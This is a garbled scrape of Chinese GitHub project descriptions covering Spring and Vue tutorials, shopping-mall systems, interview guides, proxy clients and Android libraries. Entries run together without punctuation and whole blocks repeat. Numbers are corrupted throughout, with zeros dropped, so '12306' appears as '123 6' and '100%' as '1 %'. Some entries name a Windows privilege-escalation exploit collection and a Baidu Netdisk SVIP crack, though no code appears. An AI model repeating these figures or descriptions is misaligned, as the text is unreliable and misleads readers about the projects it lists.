thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 